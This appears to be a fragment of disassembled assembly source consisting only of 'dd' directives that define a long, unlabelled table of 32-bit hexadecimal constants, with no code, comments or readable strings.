		dd 0E2893Fh, 8B02A59Fh,	0C49C4C7Dh, 63ED000h, 0DA418CA4h
		dd 0B04B0055h, 2D4932ECh, 0C801141Dh, 0B4D19EAFh, 95402635h
		dd 25FF6h, 8A2CF5D6h, 0B612EE7Dh, 96D4A00h, 7BDB28Bh, 100D0075h
		dd 0E122A797h, 0ED008CE4h, 0A997144h, 0DA0455h,	0B5C88921h
		dd 5BEF4390h
		dd 0A86DAE01h, 8B5324B4h, 1FD868C0h, 0C0319EDFh, 10DEB71h
		dd 7600AF50h, 29B853C8h, 0E65540h, 1A673810h, 0A5C621D1h
		dd 0E799AC28h, 5429AB00h, 9087E35Fh, 0A2305C58h, 1079A000h
		dd 91E707C6h, 4A4B3B00h, 9EEA767Bh, 3E46FC5Dh, 1D009211h
		dd 9B57706Fh, 8907CF66h, 2C10B575h, 3D09EDC0h, 745100A9h
		dd 8AA4BEFh, 0B5002438h, 5410FEC3h, 0CD2F81h, 0B970BCF5h
		dd 38CE3644h, 55E9E01Dh, 0A5004313h, 0E627070Fh, 0DC4C0FF6h
		dd 0D5800CDEh, 0A3E719B2h, 9A24CAE0h, 5D4020A1h, 15E6B9Ch
		dd 0F6732688h, 0F8DB1855h, 9D00D5CFh, 0C2FFFB8Ch, 9F6828h
		dd 52424898h, 88C96236h, 14D87402h, 60C2B0E5h, 0D4D55Ch
		dd 5A39217h, 7F96FCF5h,	79BA2B00h, 306889ADh, 49D1CA5h
		dd 16B90431h, 0A784C086h, 40007F97h, 0F2C0F881h, 0DBC947h
		dd 0D1458EEDh, 0BF04DF99h, 0C700F00h, 0C9D8D3A4h, 577CCDh
		dd 98D97B83h, 1F024F7Eh, 1981EA00h, 0C606A030h,	99750015h
		dd 9236E83Bh, 43FACDC4h, 0D55CF000h, 89A53FCCh,	0FDBC00E3h
		dd 397CD64Dh, 3D00DE5Eh, 59F605B9h, 129DEB1Fh, 13D92Ah
		dd 0DCFB929Ch, 4C6EE2FAh, 0D5FD2030h, 0BD39F2h,	88D7EEA0h
		dd 26BF2448h, 0A2690100h, 7D4E380Bh, 1CC41E67h,	0FCEE0073h
		dd 0DF272070h, 0DD009DB0h, 0AF32F7E0h, 139DDAh,	7E584FE4h
		dd 0FE5E1BACh, 6901FF77h, 3CEEA50Bh, 0C0C3744Eh, 394A357Eh
		dd 57805B29h, 9B940A93h, 0A8002803h, 0AC907CBFh, 0E267151h
		dd 9183B052h, 9CDFCB61h, 6314E0DAh, 0E3BD6E01h,	0F3F7124h
		dd 9679F8h, 0E0617F04h,	57675FE5h, 0A80CF71Fh, 0E3CF7C80h
		dd 320BDACh, 72E76F17h,	54C8EFE5h, 54905C31h, 0BA1A3E03h
		dd 0F9E48Bh, 3F065590h,	1E8E81D7h, 40F9A0Ch, 0BBC074h
		dd 9037A943h, 0EB07F51Fh, 0D3114814h, 26A31E84h, 0A1BFFAh
		dd 732FA272h, 843B50h, 0E4F37ED2h, 927A5AC9h, 4DAB5300h
		dd 355B86B5h, 0F8AA58D9h, 1E161707h, 0EC804B6Ch, 0B30610BAh
		dd 0FC32FB02h, 80EACFCEh, 22715DF6h, 7522C363h,	0A2C008D5h
		dd 9B73113Bh, 93FF60Fh,	0EF9F40A3h, 7D27B9h, 8504AC59h
		dd 0C1BC9992h, 72CC4013h, 8B77C800h, 0BA14BDh, 7D1B9BECh
		dd 99FD54Fh, 0C086E600h, 74911CFDh, 9023001Ah, 5DD9722Ch
		dd 83002F49h, 2AA738C8h, 389B9B6h, 7FDE0AA5h, 439017CDh
		dd 7912A642h, 0D40073E7h, 0FD6CD856h, 48B9036h,	4BC248CDh
		dd 62ADC34Eh, 0D0A8DD9Bh, 0F000190Fh, 4F69E0DEh, 0E2849786h
		dd 0D6950973h, 2080C383h, 328A436Fh, 0C8C60D28h, 5C729E00h
		dd 335602F5h, 0F4C44889h, 0A2B12C00h, 30C9DBA1h, 45AE9100h
		dd 28BF9534h, 0C2D10ECCh, 0B2408AC5h, 63710117h, 2CF4DC00h
		dd 0AB08EB73h, 271E00BEh, 0C57EF5D1h, 0DC00F7D9h, 8552AE26h
		dd 1C8DC42Ah, 80646D8Ch, 212B545Ah, 7700F16Bh, 0D545B6D4h
		dd 9D3AE5h, 2CC7B1FCh, 2A6585EAh, 27F26803h, 80631589h
		dd 0B87E24h, 0BEA2C904h, 0AE687271h, 9364ED04h,	10EA4123h
		dd 563DA946h, 0B353C900h, 82DAD2B6h, 920FE400h,	0F7634E51h
		dd 74550025h, 12D1AE0Eh, 4307D91Ah, 2B4ACF6h, 7EA09C20h
		dd 58AA0069h, 0BD551E86h, 0D5630812h, 801A13F0h, 99E5F3h
		dd 5626164Bh, 0D934E432h, 0A5B0CE07h, 2F0E9B4h,	447855h
		dd 5615367Fh, 455B18A3h, 232B5900h, 0FA54E9EDh,	742F0058h
		dd 351A1442h, 8A00A17Dh, 66013072h, 0EBCCD07h, 85EF4D1h
		dd 6E91B7A0h, 4D3E4246h, 0DE488087h, 6084B065h,	0F10207AFh
		dd 90741C34h, 47E5CBF5h, 6AA3C412h, 45F2807h, 0FE4BAA10h
		dd 0F70F24A9h, 9B8F0072h, 2D5171Eh, 25242B09h, 4040811Fh
		dd 0DBEC4B70h, 22E600ACh, 67A1D1DEh, 0CB00EFA6h, 0B26B4E7Fh
		dd 2CB5CA5Ah, 2C9425h, 8046B8E4h, 5B00EB23h, 0C0DBC599h
		dd 0F934C21h, 3AC9A0B2h, 700FE689h, 1C5B000h, 6B9A680Dh
		dd 0AE234200h, 3CF009D2h, 60777DF2h, 5316049h, 6690B664h
		dd 3A74823Eh, 51FA0188h, 8C6C7DBFh, 702E6C64h, 0DF000F1h
		dd 0BB64B349h, 0E700DCDFh, 0C39B1209h, 38777973h, 69A67B74h
		dd 67C883F0h, 99C0C24Ah, 7103E9BDh, 0DAD5AA5Dh,	0CBA6B004h
		dd 0F9BF603h, 998B5AABh, 0AACD6E40h, 4B0F3A41h,	0E0EB2768h
		dd 2CBED7E7h, 58B9EC6Bh, 573E11AEh, 0D99F2B80h,	0F55E9CBFh
		dd 0F3AACF07h, 0C810E5FFh, 1CB51F1Dh, 4019E030h, 4E8A1A6Ch
		dd 0FA007C1Bh, 0B6ACB843h, 0E2175h, 3DD3EA2Fh, 87D6F119h
		dd 55A8200h, 93EF61A9h,	0F69D0040h, 0C1D3728Eh,	0D6E6E994h
		dd 0ABC38000h, 9608C2D4h, 508D0B02h, 0BB00BAF0h, 5EA549C1h
		dd 0F77DE500h, 78AE930Dh, 0AC360AFAh, 288C569Ch, 1EC600E5h
		dd 0BC98CEBFh, 10001CDBh, 0A59363BDh, 744E7D5h,	744AB359h
		dd 3B4C3001h, 26006932h, 24803C72h, 98DCBE97h, 2BEF0038h
		dd 45D96D59h, 6B00FA90h, 85C79105h, 0BD8726h, 0DE822730h
		dd 445D7AFFh, 0B842862Ch, 53856000h, 31BB5A5h, 9E16AA7Eh
		dd 0A0003D65h, 0C3ADD1DCh, 2A86572Dh, 0F8E8FD02h, 0DBA2EABh
		dd 2B2F00A8h, 54F27130h, 0BD95BB01h, 1255EBF4h,	3EF6A6F4h
		dd 0DE194CEDh, 5FA818B7h, 0C3FE004h, 0C87800A3h, 101FBC56h
		dd 6E0322C7h, 949EEDB1h, 0DBEB35Bh, 46368C30h, 47A700D0h
		dd 0DE0242A9h, 455D7EDDh, 0A34B672h, 0DD34A012h, 0AB25F84Ch
		dd 0F5435604h, 0C1FB408Bh, 6064A24Ch, 0F40FCEC2h, 830E6069h
		dd 78A1D43Eh, 68EB2219h, 189D8428h, 3CDAF221h, 7AA344F4h
		dd 730CF050h, 3624D050h, 310CC150h, 7A0D622h, 8DB7B182h
		dd 0B583C155h, 0B45E13C3h, 0D5FC6920h, 84B6CA88h, 0A9764411h
		dd 2818EE2Ah, 2124EF98h, 270AB4C6h, 120A4815h, 26F024B5h
		dd 0BE78A1CEh, 42B5904Ch, 84AA29E5h, 18CF288Ah,	9C5A610h
		dd 0DA0C0478h, 19A822F2h, 9B3C5296h, 5362B499h,	5FA8D4C0h
		dd 8A402693h, 870841CDh, 0CCF09B18h, 0A8B915E8h, 0C1CD811Dh
		dd 66D1742Ch, 0A60020EAh, 0AA005FE6h, 5C48F045h, 579C75h
		dd 239678Bh, 634131A7h,	5AF26C00h, 9B97D6AAh, 6D37093Ah
		dd 2400A59Ch, 693BCD18h, 93801350h, 0F899F22Ah,	0B2295F0Ch
		dd 3F9B8EFh, 6FA05485h,	7DC0ADD5h, 0FD0C4773h, 0A1BBAF14h
		dd 94F769Eh, 0D3E78358h, 0A11E5001h, 7A89841Bh,	8811509h
		dd 0CDC3548h, 80A01CBAh, 87BE405Dh, 0F43B82CAh,	63401CA5h
		dd 0AF94D07h, 30B14B9h,	419E8EA8h, 0BDC0BE0Eh, 0AB25733h
		dd 0D34A305h, 0ABC7ADBBh, 0B967ACE0h, 8C3100A8h, 9613952Bh
		dd 0AA00B7DFh, 0AD5D9BE2h, 0AA892D4h, 94EE321h,	0C38D1F84h
		dd 0A7B0EB7Dh, 28504Ch,	83424B6Eh, 0C04FAEBDh, 50330F29h
		dd 5A282C74h, 0AF07341Bh, 0A65262E6h, 0F9774AA0h, 8B2C0005h
		dd 0F546F03Dh, 0E501326Ah, 0C1DE8DEDh, 0A5D0297Dh, 0B8761FC8h
		dd 2BE62Dh, 13D3468Ch, 2100F523h, 4EEF9535h, 18E7B7A2h
		dd 98A9C232h, 0F500E1A7h, 7FD711AFh, 0B8A1065Fh, 3F8C3EB7h
		dd 0A8B61D07h, 0F36CD08Ah, 0C43E4ECBh, 0F6B11445h, 7E291868h
		dd 87376480h, 0C20D8E00h, 1F119B28h, 47C64FD6h,	473BAD72h
		dd 9503303Ch, 0FF0DAA30h, 609D0BEBh, 789098D4h,	3385010Ch
		dd 0E56534A9h, 0FA7030A8h, 0A1896A33h, 7332F0BBh, 144174C3h
		dd 90E12ECCh, 402D2Eh, 36CF5FD2h, 6007A194h, 3906B41Ch
		dd 0CDA52C41h, 7C7D90F0h, 0A2DC004Fh, 5BBB9778h, 0CC18305Ah
		dd 1D3016EEh, 2DA40044h
		dd 520D7E95h, 33583BF7h, 0DCD90071h, 9660630Ah,	0F934002Ch
		dd 0AE254D70h, 18DE05DDh, 0FE297AC1h, 1080C46Ah, 725A431Ch
		dd 5396F16h, 112F1F9Dh,	46B0C9C0h, 14B13771h, 0C5FC16Ch
		dd 9C527007h, 0C5ACE1ADh, 56ECE878h, 8B583000h,	2F06D9C1h
		dd 2DAB01FDh, 0BB08DE33h, 3082E06Ch, 54112900h,	0DA098314h
		dd 5B440065h, 28F3BAC2h, 0B51FB20Fh, 8D00D9DCh,	291A78F7h
		dd 0BB91077Ah, 90351657h, 0B920D1Dh, 0B4BA630Fh, 0E940E08Eh
		dd 0DDCE8B5h, 3655B2C0h, 0E522D040h, 8050F0C3h,	97A0006Ch
		dd 512A6A41h, 8EEED8B0h, 0D0C065EAh, 9895F7B6h,	0C10117BFh
		dd 0FB6A000Ch, 17D1CEA7h, 1C50A40Ah, 6104C86Dh,	14833057h
		dd 0AFE81837h, 408DC821h, 6F80F905h, 306050EFh,	233AF805h
		dd 9A0FA088h, 3716A1D0h, 2C00E056h, 0A407E1FEh,	9A874E17h
		dd 464C79D0h, 0CC630FEEh, 0E280D4E7h, 0FFC2386Eh, 0AC00317Fh
		dd 467E1C15h, 27A1Ah, 1D76AEF2h, 72F5BD43h, 0D71DF00h
		dd 6DE3E5E9h, 0E23FE07Bh, 454E005Eh, 721DDCE1h,	6203AA0Fh
		dd 0BE534D55h, 49500016h, 7D656B3Dh, 0B40FE293h, 1760F8C0h
		dd 0CB40A11Fh, 0EFD86118h, 1067AC4h, 0DC25A70Dh, 40F83A8Bh
		dd 13AC6FE1h, 0F00EFF4h, 6CC14C60h, 242127E4h, 6CCAC3h
		dd 0D29252B2h, 303DB15h, 75726B32h, 1D69C88Dh, 391C3EA2h
		dd 0EBB27785h, 0E5398015h, 0C0EC4421h, 0C3E40201h, 0D1659FD8h
		dd 9A739180h, 97746A56h, 0AC825100h, 2005C4E3h,	0E0451DABh
		dd 6600FC6Eh, 0D0E87363h, 0A9004F89h, 443F5C1Fh, 0F4200FE2h
		dd 7A563B5Eh, 81E0EB1Ch, 0E6605F30h, 0E598803Eh, 931F8386h
		dd 3B5EE8Eh, 9E2D3F98h,	0D00D3D5Ah, 3844A363h, 0A83CA03h
		dd 71C120B1h, 39B83074h, 0EA79598Dh, 5A17A01Dh,	8860E698h
		dd 430307ABh, 972068A9h, 0FB1C3EBh, 2009978Bh, 0AB1CE0h
		dd 16116DF0h, 7D5C019Bh, 8CCF4588h, 0C731849Fh,	69012A73h
		dd 80B51FABh, 784BBB68h, 3C3F560h, 5A3DE6F1h, 2800744Dh
		dd 0FC1549Fh, 3A44783Fh, 0D0E0C743h, 5B555CD3h,	0A4D9A100h
		dd 0EF3DDD1Dh, 0FA68CFE1h, 2BAC8CA1h, 6D1190B7h, 8498F611h
		dd 0D330E11Bh, 0A80975E5h, 81C1499Fh, 3C5171D1h, 4DADF0CBh
		dd 3011606Fh, 367BF386h, 0A9E74700h, 3E5E3BC2h,	0BE380090h
		dd 93744CCDh, 0C06509Dh, 70A1140Ah, 468D1B0h, 2283D901h
		dd 8001679Fh, 245DF5D1h, 1F7F8BFh, 7F951011h, 0F898B4A6h
		dd 3A30D8DAh, 0CF914173h, 0C32500F0h, 0A8B5664Bh, 7C917B1Ch
		dd 64B67000h, 7877C4D2h, 883E00E7h, 5624872h, 209163CBh
		dd 6E8A4641h, 31F5C850h, 0A0490E1h, 0F701EEC2h,	4D80BAC8h
		dd 69E7BD2Fh, 6312C877h, 88416F3Bh, 0F7264AAFh,	87A22880h
		dd 968A3743h, 6B6A680Ch, 865035h, 6668FECh, 85A3F097h
		dd 65CA2C18h, 397C10h, 0C909C570h, 0D001B67Eh, 0D8306254h
		dd 0C7BCF154h, 9B48F550h, 0E2563600h, 0AA4957ABh, 80B77709h
		dd 4F06C14Bh, 4C5183ACh, 149A7CE8h, 0C4DDF815h,	9046FB4h
		dd 0A62D84h, 0EEE5E86Ch, 2682386Ch, 0D009FD80h,	1F443216h
		dd 0B4061300h, 1EC3B17Fh, 2CA0003Fh, 0FEE66630h, 6500C538h
		dd 0C6B81F2Ah, 1D2DC48Fh, 0C7B52FC3h, 6075F3DEh, 900F108Ch
		dd 0FFF2BE00h, 0BC44706Dh, 0A327017Eh, 21E9A00Ch, 0A8834087h
		dd 264C8A03h, 4C8B0033h, 93BB4EF3h, 0E1FF0769h,	57B56C77h
		dd 0D8168020h, 0E8004780h, 83047CA8h, 0EED6F91h, 0CCD9B541h
		dd 0C09259A7h, 0B632034h, 6599361Dh, 0F8E3FD40h, 5B0FA7h
		dd 50646697h, 0BDEFAABEh, 0CF0A1801h, 9C332BB5h, 26D0C0h
		dd 1448307Eh, 1BB321C8h, 803A0E00h, 92E40A87h, 375C0EA9h
		dd 5DD1C2h, 49FDEFD3h, 9E4A4B4h, 7E257401h, 0F314152Bh
		dd 5F7CA640h, 0F69600D8h, 279F716Bh, 91249979h,	1B81A0EFh
		dd 0CE0A299Eh, 0F111CFCh, 3C5D13C1h, 0E535405Fh, 0CCB22D22h
		dd 0FDC6D000h, 9CDA4B2Bh, 3378AFh, 572736FFh, 61AC6B81h
		dd 0F18AF201h, 1756AB40h, 1852FA80h, 0C1F0DDBFh, 7D000B70h
		dd 7F3CA11Ch, 0FAB9785Eh, 8598002Fh, 60D087A5h,	0ED00BB92h
		dd 0A28E1062h, 0BE1AC7h, 64BDDE74h, 0F45EF3EAh,	5D858000h
		dd 51201F50h, 4A910006h, 0A498DF8Fh, 0A00047EFh, 769DE05Eh
		dd 39FF1307h, 1207991Ah, 30CBBE19h, 295E0B2Dh, 680CE700h
		dd 5A7B2602h, 96B60050h, 9B7EF193h, 0CD00691Fh,	9462215Bh
		dd 4F552Eh, 7403B968h, 0A909D11Dh, 0B5005A90h, 0DAF2925Ah
		dd 61EE91h, 991C0BF7h, 4016DEACh, 0F6768500h, 729565D5h
		dd 0F89FE25h, 41224B91h, 0B7AE8BC0h, 14EED915h,	1ABEFA1Eh
		dd 59CAC700h, 0F838D3Fh, 47316A85h, 689F1243h, 13A88FDBh
		dd 2D01C5A6h, 0F9937807h, 0E0E3A77Fh, 0EA7660h,	958624D8h
		dd 19F04574h, 8C4FF00h,	38201E92h, 280200EAh, 6B3EF187h
		dd 2B007543h, 7632455Dh, 9A1B37Ah, 0C1B09BD3h, 3E2CBD02h
		dd 75231340h, 337635Ch,	7C982B8Ch, 58E0F8F3h, 0FED47AECh
		dd 0A3110015h, 0B199C555h, 5E0E821Fh, 219E9887h, 33C6EF74h
		dd 4AC9D8h, 0F6975062h,	417F913Ah, 0FC02847Ah, 25D0940Eh
		dd 201EC0C4h, 5FE600EEh, 0AEE441E1h, 0A700F1C2h, 43AFCCB4h
		dd 0B81DC535h, 0EAC30189h, 7EA3F647h, 0A720E8C2h, 64753Dh
		dd 7655936Bh, 3192A4h, 0F921F21Ah, 0C0AC1CE9h, 7F6B8200h
		dd 4959B63h, 43B30785h,	804EFD42h, 7A6CED66h, 0E3B54000h
		dd 8E9139E7h, 84CE00A8h, 502C53AEh, 0B33D67B7h,	873700DBh
		dd 163A8562h, 24298FCh,	5E24DD73h, 0B7804188h, 0A5AB614Bh
		dd 8E804300h, 834A21C3h, 7888F2FBh, 9A080064h, 0D92463A6h
		dd 89000AD4h, 0B8A80C28h, 0BFF531h, 5D9C6CA0h, 473B848Fh
		dd 42EBF203h, 0A056E130h, 1C551D0Dh, 36CF09h, 86B084B9h
		dd 803EDB6h, 670179CEh,	473CD842h, 0C0FD00E2h, 80043B9Ah
		dd 4600ACF3h, 0C8CE2E73h, 0C5B50Fh, 209CDB2h, 0B1D5742Ah
		dd 807AF301h, 0D7E4F7E8h, 8359E8h, 81FA95C6h, 7D3A282Fh
		dd 7B5C9400h, 0ADE3341Ah, 0E615EA43h, 2EB7DBAh,	0D0632B39h
		dd 0E881C1CCh, 0C41318E5h, 0FD00959Ch, 5D16BB31h, 7B102BFh
		dd 8B34FE9Dh, 68782E5Eh, 0E31D409Eh, 38C054AFh,	698067E8h
		dd 31C903Bh, 43569552h,	49904AACh, 0FE010194h, 265A7D2Dh
		dd 6FF06421h, 0B5DD0019h, 3F35AF61h, 9C006A41h,	3734C033h
		dd 49CAF2h, 42ED5E5h, 1E951B35h, 286DEB0Eh, 0A14C0B7h
		dd 9D5D6Eh, 0C6DE5168h,	8BD5B907h, 35690C0Ah, 1A0CD44Eh
		dd 99D4CABh, 4BD986BCh,	9B7BDB01h, 111130A7h, 4925DA1Fh
		dd 7AC073DCh, 36E7D2D7h, 0ADDC00D4h, 30BF9204h,	0A300199Ch
		dd 58A6E88h, 9D51875h, 0B56B8720h, 61008254h, 0C5CEA330h
		dd 337159h, 3AB72A99h, 0E36285A6h, 652CE200h, 49EEDCBDh
		dd 53031451h, 9A03D5AEh, 2E9E4628h, 0D89729F0h,	0D5F5F600h
		dd 0D6533ED1h, 271402ABh, 0EA9FD28Ch, 61203DC0h, 0CB28095h
		dd 5816CEE0h, 1103321Bh, 944CD5C9h, 0BD06B9E0h,	14103B00h
		dd 2DCAF77Fh, 0E281D58h, 48D3805Dh, 4E93BC76h, 9687FC09h
		dd 9F8E6Eh, 196AD2E0h, 3981004Dh, 70C4CCD6h, 27000BBFh
		dd 7A56D9B8h, 2ECF34h, 0BD3A6F62h, 52CC291Ah, 50950901h
		dd 0C9D38C9Ah, 78904F0h, 0D4F6030Dh, 83E9C080h,	0C8006B45h
		dd 4F1CE79Ch, 674ECADh,	0E54146E4h, 40021D4h, 0B768AC2Ah
		dd 1F8DF0B5h, 33FC5AEh
		dd 28309EEDh, 0C62B3807h, 24D07D54h, 0ECC815h, 0D431B78Eh
		dd 85E6E9Eh, 0B9BBFF3Fh, 63742E10h, 0A2810200h,	6246B9h
		dd 1F9F409h, 70C32B7h, 0FDBD300h, 0EA61E95Eh, 91E6005Ch
		dd 48C9CC2h, 9B002A55h,	1F57A1D4h, 0E97662h, 37C333D1h
		dd 7A6751AAh, 8FF10C00h, 30142ED8h, 1882070Eh, 0D042CD86h
		dd 3CF53E74h, 0A719E600h, 2F7904EEh, 6B963C03h,	4BB1BE00h
		dd 4D21970Ah, 0EFD03807h, 1AF02809h, 0F03482Bh,	10BF7E49h
		dd 0F5EEAFA1h, 7A4FDC1Dh, 0B8284400h, 0AEAB6383h, 20D260F8h
		dd 13002D3h, 287BF600h,	0A65D1A79h, 15480076h, 4B8D06F9h
		dd 0A0072FAEh, 3EACB064h, 4CAB6AA0h, 0FEC00340h, 8E2F290h
		dd 7B1780C5h, 1038EC5h,	559C0665h, 4E7F8059h, 488F60B9h
		dd 0F8EEEB93h, 7A9A3Ch,	0B0FD2597h, 1C817DBEh, 0C5A4E98h
		dd 35C9303Fh, 0A14C0E03h, 0BD962307h, 26170C03h, 8FC100EDh
		dd 385A9069h, 2D098C44h, 0C4C0A8h, 246FEF9Bh, 0F7E200BFh
		dd 45302BD6h, 0F0013541h, 39AD89FAh, 97EC496Dh,	60B0DCh
		dd 2571A54Dh, 0BC3D4FFBh, 1E9D9B01h, 0A2BB78C8h, 0F4A5FD8h
		dd 5EB6723Bh, 0BE7C69A0h, 1F0028EBh, 42A32606h,	9ADFB1h
		dd 0A04309DBh, 0E8AB51FBh, 0B8052A30h, 0C0774EBCh, 78A670C0h
		dd 0D4387136h, 0F64A8224h, 0E0C6F407h, 7338B931h, 77830084h
		dd 0CA89ACA4h, 61FB3165h, 76F8F7BCh, 2A01B0B7h,	0B59F3DF7h
		dd 0F0EF8A3Ah, 64A55Ah,	0B1704712h, 0FB1BCBA0h,	0A800A179h
		dd 0A5E66597h, 9A3D50h,	0E7ADFA90h, 0C0A6CF2Dh,	3C00B57Bh
		dd 0D4FCF76Bh, 0BDE218h, 0ABCC24DBh, 924B11D1h,	94AD3Eh
		dd 6A1A2681h, 7F2BE80h,	59279091h, 3730106Fh, 0AD007148h
		dd 4FD2A2D6h, 781AA54Ch, 330400CAh, 0AA8C3629h,	0BE0051DBh
		dd 0CCCEA669h, 1D4034F2h, 401C6030h, 0E571A1B6h, 0A6008D3Dh
		dd 0B90BDBB0h, 0D65DF2h, 0ECEB6308h, 6C607F28h,	0AC5C9BA0h
		dd 304CE200h, 0E0CBA9F3h, 8510034Fh, 0E1AFC5Ah,	0FABD86B8h
		dd 5100ADB8h, 11BADC4Ah, 74D635h, 0B65B0AECh, 0DD8CE850h
		dd 89A16000h, 0B7C583ACh, 0EA9390F6h, 424B00C8h, 1DD6FBF1h
		dd 67000B95h, 8FA5A93Dh, 4C34237Dh, 711C6A69h, 0AED20088h
		dd 899D1C68h, 809C1D38h, 7C6F8134h, 87444Ch, 16CFDB3Fh
		dd 6A0ACE20h, 620E8500h, 9CA4FE8Eh, 79600064h, 7E383BA0h
		dd 0A3E4A66Bh, 62440C03h, 0E0101BF9h, 0ECB55Dh,	8A935549h
		dd 0EBFCBECDh, 7800ADF0h, 8C743DEAh, 7D2947h, 0BB338DECh
		dd 1ED1F6D4h, 8AB39B00h, 0EFBAA904h, 453F00BFh,	6FF73113h
		dd 0E939232Fh, 43D681CBh, 0F6400967h, 447D5E8h,	13B84A3Ah
		dd 0B40F80C8h, 0A8007C27h, 80EA0A30h, 1F3173FFh, 40CC47C1h
		dd 0AEF0E89Bh, 2D0089E3h, 9B303D4h, 4B8CE0Fh, 50C95FDCh
		dd 4A0BAFEBh, 4583007Bh, 1877175h, 63D4E7FDh, 0C0CA9592h
		dd 3B0213F3h, 0D9110A93h, 0C28055EFh, 0F720C30Eh, 0D2FB7101h
		dd 1168AFBBh, 0A431E8C1h, 7314BE8h, 0E2A750ABh,	9185F04Fh
		dd 5A1FDDB2h, 20C3D8BBh, 0C89EFE5Fh, 130C0B3h, 752F3117h
		dd 0C0ACEAB1h, 47008511h, 6A61991h, 18E65E29h, 50AAFE96h
		dd 0FC009E04h, 0E808A939h, 4B1790h, 97B70F46h, 91AA3A02h
		dd 0E248BCE4h, 5E98001Ch, 0E9F58110h, 0DA1A0087h, 5B9667B7h
		dd 8B00CCFBh, 0BE5EF93Fh, 7FE862CAh, 14023D89h,	9C02CB3Ch
		dd 501EB493h, 49120B60h, 0ABCA00Eh, 3DA9E077h, 2C5358h
		dd 19425509h, 32D48BBDh, 0E5B33900h, 0FB014629h, 0E9F300A9h
		dd 90CEA7F5h, 0DD02CFFDh, 2BA68E9Ah, 5DC605Ch, 47ED0045h
		dd 5B8B2D88h, 0AE016638h, 0EE352665h, 0E5F0BF91h, 0B9230082h
		dd 0A424895Eh, 2FF269C9h, 0F367FC00h, 439C0540h, 0C0EE60CCh
		dd 0E49DEA41h, 0DE85E100h, 17BDB869h, 2A0500ACh, 24CB3D8Ch
		dd 1100D6D2h, 7086309Ch, 2EEAB66Fh, 2FDF6Ch, 90C165C4h
		dd 5B005F1Dh, 0B4BF1ABh, 2C5737h, 0FB82882Eh, 0EE3ABB2Ah
		dd 0A033D77h, 1166015Fh, 0CF35C012h, 7791074Ah,	2002731Bh
		dd 20A86C2Dh, 19438C00h, 32BDB70Eh, 2E70EC4Dh, 95A264h
		dd 0C5BE5624h, 9D000578h, 0C804F1ACh, 0D52CFEh,	0FAEA9DBh
		dd 0E38F7506h, 0EFEC8600h, 1D04A7C9h, 0DAAC00A8h, 5D563B2Dh
		dd 2E03136Fh, 38964FE1h, 1B97B8E2h, 9E5B006Ch, 0E96AD661h
		dd 0BB00D00Dh, 0C20825A6h, 838472h, 1FEA3CE4h, 94DFB8AEh
		dd 291BDC00h, 13D34C3h,	0B6FC00FDh, 0C1F5470Ch,	5001761Ah
		dd 3208C61Ch, 0BC647DEFh, 92BF0039h, 0D37BC8D1h, 0D424B943h
		dd 0F4007A19h, 856DFA81h, 87CF0092h, 1EF6FE3Ch,	0F4EDE622h
		dd 1600681Bh, 3E89585Dh, 0ECEE4AC8h, 330F4A2h, 0B307BF1Eh
		dd 81B8A5B1h, 0AC00CEA9h, 1F41A0F8h, 0CB3CD7h, 0FBB40C22h
		dd 5207372Eh, 0C8507800h, 0B9BFCD2Dh, 543C004Ah, 0FBD3D45Bh
		dd 0FAE6BEE4h, 5C2C4D78h, 1D00FCCFh, 83C7DB49h,	0DEDF0070h
		dd 0B19FADE9h, 0CC1DD810h, 0A400AB05h, 6245BD60h, 7A190018h
		dd 21C5390Ah, 0A5EC0859h, 1B6C75Ch, 489F756Ch, 4BCCA378h
		dd 2231164Ah, 7BCF069Ch, 1B0278FDh, 0AF32679Fh,	0B9E1401Dh
		dd 0CB8700A0h, 7EF1A9B7h, 4500E5ADh, 5EA3949Dh,	88F399h
		dd 0E29F90B2h, 6C36BC29h, 0C7758000h, 0BD1B7A6Bh, 525017C6h
		dd 78380231h, 4D406343h, 7176CDD5h, 0BDAECB00h,	2D214066h
		dd 0E35700EDh, 0FCB365E5h, 4700B887h, 0DA74C6B9h, 1C10E9h
		dd 0FF4BF633h, 0CE9703AAh, 0D3F3D600h, 3026C409h, 2AE00C9h
		dd 0DE5557C8h, 22009392h, 18BC2DCh, 679194h, 9604E3FBh
		dd 0CE40C9B2h, 8800E171h, 64AC6A9Bh, 1EE8CF0h, 0E0B63FE8h
		dd 0C046D40Ah, 0D100032Fh, 26CFEF33h, 7EB300Dh,	5E24AA7Ah
		dd 6502A09Eh, 0F0001197h, 94BA508Eh, 789DEBDh, 180F6159h
		dd 4431B0C1h, 6C0188CDh, 7277F654h, 0C4F47692h,	87EF004Dh
		dd 0B286429Eh, 0C5385EE7h, 0A1B08077h, 0F3606F8h, 29763881h
		dd 801E289Fh, 0B613DCD3h, 0A312A7F7h, 0D80045B1h, 4E3A06CBh
		dd 17260387h, 7C37F09Fh, 0C12BC0FFh, 0B600EDDDh, 0EA651EE6h
		dd 0A9AB9Eh, 6F34E4Dh, 0FAE34878h, 0CC03F5FEh, 0E45979A3h
		dd 2CF80004h, 93B1DCF0h, 3B00011Ah, 0A8D070E9h,	14AF684h
		dd 0E75CB924h, 0EC617528h, 9B037AD3h, 0EC504460h, 94C08C93h
		dd 91BCB7h, 9D64BFB3h, 0D3974A20h, 47EA1605h, 0C0BFC622h
		dd 33918C25h, 0D81342FAh, 3C00343Ch, 75521607h,	4DE21FAFh
		dd 6930C032h, 5013805Dh, 0E9EC6BF6h, 34E75F00h,	33A646CEh
		dd 7D7657h, 228E5BC7h, 0A77135A2h, 25165000h, 0D38054D8h
		dd 0EF9E864h, 8CCDDFA8h, 0A66E96E0h, 0F2000201h, 0FB262BF0h
		dd 58C5E154h, 0ED002D0Eh, 0E5094314h, 83024CAAh, 0C212413Ch
		dd 0A4958005h, 0ED4385F0h, 6A7ED4h, 0CE536D7Bh,	4FCC0631h
		dd 838EBC3Fh, 20473792h, 73B1F849h, 582E0087h, 4B672DAh
		dd 0FF245945h, 3C002B85h, 0DB92D17Dh, 0B1BF811h, 0F4CEE50Dh
		dd 2CD90F85h, 0A00ED218h, 6058D839h, 6497D16Dh,	0D69800FCh
		dd 0ACD7CB9Fh, 0D90132A7h, 342D8CB1h, 48C4993h,	0AE51698Dh
		dd 2B715807h, 0FC800288h, 0C41FF3h, 36CD9778h, 0A371B8Dh
		dd 0C13D124h, 398BFC03h, 11A4C1A1h, 0E0C32531h,	606CC2h
		dd 4BEF85D7h, 0EC90370Eh, 0F28E000h, 3F19ADFDh,	420500F6h
		dd 377ADEE7h, 0F95CBB7Eh, 968C0380h, 317EF80h, 5FF84560h
		dd 568044FCh, 1B312E57h
		dd 0B5163808h, 11CE260h, 21DC029Ch, 80B73493h, 689A03D8h
